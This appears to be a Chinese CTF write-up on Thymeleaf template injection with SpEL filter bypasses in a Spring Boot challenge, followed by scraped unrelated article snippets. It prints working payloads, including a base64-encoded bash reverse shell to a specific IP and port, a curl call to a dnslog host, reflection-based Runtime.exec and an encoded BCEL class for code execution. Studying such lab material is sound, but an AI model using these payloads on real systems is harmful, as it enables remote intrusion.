Mini-L-CTF-2022 minispringboot Thymeleaf模板注入 spel的绕过
Mini-L-CTF-2022 minispringboot Thymeleaf模板注入 spel的绕过
就是一个低版本的Thymeleaf注入
漏洞点
public class MainController {@GetMapping({"/{language}"})public String test(@PathVariable(name = "language") String language, @RequestParam(required = false) String name, Model model) {if (name != null) {model.addAttribute("name", name);return language + "/game";}return language + "/index";}
可以看见路由和return的值我们都是可以控制的,所以这个很简单,相当于就套一个
__${}__::.x
主要是spel绕过,我们看到waf
if (Pattern.matches(".*new.*|.*untime.*", requestURI))
禁用了new和untime和也就是Runtime
怎么绕过new和Runtime方法很多,其实可以执行命令的还有ProcessBuilder
比如
__${New ProcessBuilder("curl xxx.dnslog.cn").start()}__::.x
怎么绕过new,这里我们这个是关键词
1.使用New就好了
然后反弹shell,需要base64编码解码
http://192.168.238.165:49153/__${New ProcessBuilder("bash","-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuMjAxLjE2My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}").start()}__::.x
然后如果要绕Runtime
可以反射调用
"".getClass().forName("java.lang.Run"+"time").getMethod("exec", "".getClass()).invoke("".getClass().forName("java.lang.Run"+"time").getMethod("getRun"+"time").invoke("".getClass().forName("java.lang.Run"+"time")),"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuMjAxLjE2My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}")
或则动态加载字节码
使用BCEL或则Spring自带的字节码
__${"".getClass().forName("java.lang.Class").getDeclaredMethod("n"+"ewInstance").invoke(New com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c2$40$U$3d$D$85$96ZDP$7c$bf$9f$e8$c2n$dci$5ch41$d6G$c4$e8z$Y$t8$88$z$v$83$f1$8f$5c$bbQ$e3$c2$P$f0$a3$8cw$w$a2$896$e9$7d$9d$7b$ce$bd$b7$7d$ffx$7d$D$b0$81e$X$OF$5c$8cb$cc$c1$b8$f1$T6$s$5dd0ec$da$c6$MCvK$85Jo3$a4$x$ab$X$M$d6nt$r$Z$K$81$K$e5q$e7$b6$s$e3s$5ekR$a5$UD$827$_x$acL$de$zZ$faZ$b5$Z$fa$82$9d$dd$bd$c0$t$5cl28$5b$a2$d9$d5d$d4S$O$g$fc$8e$fb$w$f2$PN$f6$ee$85li$V$85$d4$96$afj$$n$8ex$x$d1$a2$b5$Y$dcj$d4$89$85$dcWF$3bg$e4$d6$N$d7C$O$ae$8dY$Ps$98$a7$a1$G$f0$b0$80E$86$c1$7f$b4$3d$y$c1$r$7eo$t$86$81$a4$ad$c9$c3$ba$7fRkH$a1$Z$8a$3f$a5$b3N$a8$d5$z$8dt$ebR$f7$92re5$f8$d3C$7b$5b$f2$5e$92$e4J$e5$XZ$d5$b1$K$eb$9b$bf$J$a7q$qd$bbM$84B$8b$40$9d$5c$7b$ks$n$e9$K$9b$7e$8byR$60$e66$b2$7d$94$f9$e4$Z$f9$cc$da3$d8c$C$7bd$b3_E$e4$c9z$dd$b8$l$F$f2$O$Gzd$9e$88$B$a5$X$a4J$e9$tX$97$Pp$O$d7$9e$90$7dL$ea9$e2f$90N$U$87$v2$ec$i1$cd$c7$cd$93J$91$a2$ef$JyX$94$97$u$h$a4$d7F$w$b01d$RPN$96$g$fe$E$93$b3$9a$L$60$C$A$A"))}__::.x
相关文章:
Mini-L-CTF-2022 minispringboot Thymeleaf模板注入 spel的绕过
Mini-L-CTF-2022 minispringboot Thymeleaf模板注入 spel的绕过 就是一个低版本的Thymeleaf注入 漏洞点 public class MainController {GetMapping({"/{language}"})public String test(PathVariable(name "language") String language, RequestParam(…...
LLM - 神经网络的组成
1. 一个神经元的结构:即接受多个输入X向量,在一个权重向量W和一个偏执标量b的作用下,经过激活函数后,产生一个输出。 2. 一层神经网络的结构:该层网络里的每个神经元并行计算,得到各自的输出;计算方式是输入…...
C++:拷贝构造函数
拷贝构造函数的引入 用对象来初始化对象 (1)简单变量定义时,可以直接初始化,也可以用另一个同类型变量来初始化。举例说明 (2)用class来定义对象时,可以直接初始化,也可以用另一个对象来初始化。举例说明 testperson xiaohong(na…...
云服务出现故障这样处理
无法连接云服务器 服务器远程无法连接时,可通过7ECloud控制台进行连接。 常见故障现象 1、ping不通 2、ping丢包 3、部分端口telnet不通 4、全部端口telnet不通 5、广告、弹窗植入 6、域名无法访问IP访问正常 常见故障原因 1、云服务器过期、关机或者EIP被…...
CVPR2024自动驾驶轨迹预测方向的论文整理
2024年自动驾驶轨迹预测方向的论文汇总 1、Producing and Leveraging Online Map Uncertainty in Trajectory Prediction 论文地址:https://arxiv.org/pdf/2403.16439 提出针对在线地图不确定性带给轨迹预测的影响对应的解决方案。 在轨迹预测中,利用在…...
数据结构——队列练习题
在C语言中,.和->运算符用于访问结构体的成员变量。它们之间的区别在于:.运算符用于访问结构体变量的成员。->运算符用于访问结构体指针变量的成员 1a(rear指向队尾元素后一位,判空判满时牺牲一个存储单元) 首先…...
PLL和CDR的内部结构及其区别
比较PLL和CDR的内部结构及其区别: 基本结构: PLL(相位锁定环): 相位检测器环路滤波器压控振荡器(VCO)分频器(可选,用于频率合成) CDR(时钟数据恢复…...
HarmonyOS APP应用开发项目- MCA助手(Day02持续更新中~)
简言: gitee地址:https://gitee.com/whltaoin_admin/money-controller-app.git端云一体化开发在线文档:https://developer.huawei.com/consumer/cn/doc/harmonyos-guides-V5/agc-harmonyos-clouddev-view-0000001700053733-V5注:…...
华为交换机 LACP协议
华为交换机支持的LACP协议,即链路聚合控制协议,是一种基于IEEE 802.3ad标准的动态链路聚合与解聚合的协议。它允许设备根据自身配置自动形成聚合链路并启动聚合链路收发数据。 在LACP模式下,链路聚合组能够自动调整链路聚合,维护…...
node 下载文件到网络共享目录
1、登录网络共享计算器 2、登录进入后复制要存储文件的目录路径 例如: \\WIN-desktop\aa\bb\cc 3、node 下载后写入网络共享目录 注意(重要):在使用UNC路径时,请确保你正确转义了反斜杠(使用两个反斜杠来表示一个&…...
STM32基础知识
一.STM32概述 第一款STM32单片机发布的时间为2007年6月11日。由意法半导体(ST)公司推出,是STM32系列中的首款产品,具体型号为STM32F1,它是一款基于Cortex-M内核的32位微控制器(MCU)。 STM32F1…...
安装docker版rabbitmq 3.12
本文介绍在Ubuntu22中安装docker版rabbitmq 3.12。 一、拉取镜像 docker pull rabbitmq:3.12.14-management二、创建数据目录和docker-compose文件 创建目录: cd /root mkdir rabbitmq-docker cd rabbitmq-docker mkdir data chmod 777 data创建docker-compose配…...
c++重定向输出和输出(竞赛讲解)
1.命令行重定向 在命令行中指定输出文件 指令 .\重定向学习.exe > 1.txt 效果 命令行输入和输出 指令 .\重定向学习.exe < 2.txt > 1.txt 效果 代码 #include<bits/stdc++.h> using namespace std; int n; int main(){cin>>n;for(int i=0;i<n;i…...
实在智能对话钉钉:宜搭+实在Agent,AI时代的工作方式
比起一个需求需要等产品、技术排期,越来越多的人开始追求把自己武装成「全能战士」,通过低代码工具一搭,一个高效的工作平台便产生了。 宜搭是钉钉自研的低代码应用构建平台,无论是专业开发者还是没有代码基础的业务人员…...
MySQL的Docker部署方式
说明:Docker部署MySQL主要是简单快速,不会对电脑系统造成污染。假如你的本地没有Docker,或者你不会使用Docker,则使用PyCharm去启动MySQL,或者直接在本机安装MySQL都是可以的。最重要的是,你要有一个MySQL环境…...
光伏电站数据采集方案(基于工业路由器部署)
一、方案概述 本方案采用星创易联SR500工业路由器作为核心网关设备,实现对光伏电站现场数据的实时采集、安全传输和远程监控。SR500具备多接口、多功能、高可靠性等特点,能够满足光伏电站数据采集的各种需求。(key-iot.com/iotlist/sr500…...
一文让你彻底搞懂什么是CDN
一、引言 在当今互联网时代,网站的加载速度和稳定性是用户体验的关键因素之一。而CDN(Content Delivery Network,内容分发网络)作为提升网站性能的重要技术手段,受到了广泛的关注和应用。本篇博客将深入探讨CDN的工作…...
1023记录
米哈游二面 自动化测试中自动化驱动的能力? pytest的驱动能力: 1,自动发现测试用例:以"test_"开头的Python文件、以"Test"开头的类和以"test_"开头的函数,将它们识别为测试用例 2&…...
【并发编程JUC】AQS详解
定义理解 AQS,全称为AbstractQueuedSynchronizer,是Java并发包(java.util.concurrent)中的一个框架级别的工具类,用于构建锁和同步器。它是许多同步类的基础,如ReentrantLock、Semaphore、CountDownLatch等…...
如何找BMS算法、BMS软件的实习
之前一直忙,好久没有更新了,今天就来写一篇文章来介绍如何找BMS方向的实习,以及需要具备哪些条件,我的实习经历都是在读研阶段找的,读研期间两段的实习经历再加上最高影响因子9.4分的论文,我的秋招可以说是…...
python/java环境配置
环境变量放一起 python: 1.首先下载Python Python下载地址:Download Python | Python.org downloads ---windows -- 64 2.安装Python 下面两个,然后自定义,全选 可以把前4个选上 3.环境配置 1)搜高级系统设置 2…...
Python爬虫(一):爬虫伪装
一、网站防爬机制概述 在当今互联网环境中,具有一定规模或盈利性质的网站几乎都实施了各种防爬措施。这些措施主要分为两大类: 身份验证机制:直接将未经授权的爬虫阻挡在外反爬技术体系:通过各种技术手段增加爬虫获取数据的难度…...
Spring Boot面试题精选汇总
🤟致敬读者 🟩感谢阅读🟦笑口常开🟪生日快乐⬛早点睡觉 📘博主相关 🟧博主信息🟨博客首页🟫专栏推荐🟥活动信息 文章目录 Spring Boot面试题精选汇总⚙️ **一、核心概…...
微信小程序云开发平台MySQL的连接方式
注:微信小程序云开发平台指的是腾讯云开发 先给结论:微信小程序云开发平台的MySQL,无法通过获取数据库连接信息的方式进行连接,连接只能通过云开发的SDK连接,具体要参考官方文档: 为什么? 因为…...
分布式增量爬虫实现方案
之前我们在讨论的是分布式爬虫如何实现增量爬取。增量爬虫的目标是只爬取新产生或发生变化的页面,避免重复抓取,以节省资源和时间。 在分布式环境下,增量爬虫的实现需要考虑多个爬虫节点之间的协调和去重。 另一种思路:将增量判…...
深入浅出深度学习基础:从感知机到全连接神经网络的核心原理与应用
文章目录 前言一、感知机 (Perceptron)1.1 基础介绍1.1.1 感知机是什么?1.1.2 感知机的工作原理 1.2 感知机的简单应用:基本逻辑门1.2.1 逻辑与 (Logic AND)1.2.2 逻辑或 (Logic OR)1.2.3 逻辑与非 (Logic NAND) 1.3 感知机的实现1.3.1 简单实现 (基于阈…...
【Redis】笔记|第8节|大厂高并发缓存架构实战与优化
缓存架构 代码结构 代码详情 功能点: 多级缓存,先查本地缓存,再查Redis,最后才查数据库热点数据重建逻辑使用分布式锁,二次查询更新缓存采用读写锁提升性能采用Redis的发布订阅机制通知所有实例更新本地缓存适用读多…...
如何应对敏捷转型中的团队阻力
应对敏捷转型中的团队阻力需要明确沟通敏捷转型目的、提升团队参与感、提供充分的培训与支持、逐步推进敏捷实践、建立清晰的奖励和反馈机制。其中,明确沟通敏捷转型目的尤为关键,团队成员只有清晰理解转型背后的原因和利益,才能降低对变化的…...
Elastic 获得 AWS 教育 ISV 合作伙伴资质,进一步增强教育解决方案产品组合
作者:来自 Elastic Udayasimha Theepireddy (Uday), Brian Bergholm, Marianna Jonsdottir 通过搜索 AI 和云创新推动教育领域的数字化转型。 我们非常高兴地宣布,Elastic 已获得 AWS 教育 ISV 合作伙伴资质。这一重要认证表明,Elastic 作为 …...
阿里云Ubuntu 22.04 64位搭建Flask流程(亲测)
cd /home 进入home盘 安装虚拟环境: 1、安装virtualenv pip install virtualenv 2.创建新的虚拟环境: virtualenv myenv 3、激活虚拟环境(激活环境可以在当前环境下安装包) source myenv/bin/activate 此时,终端…...
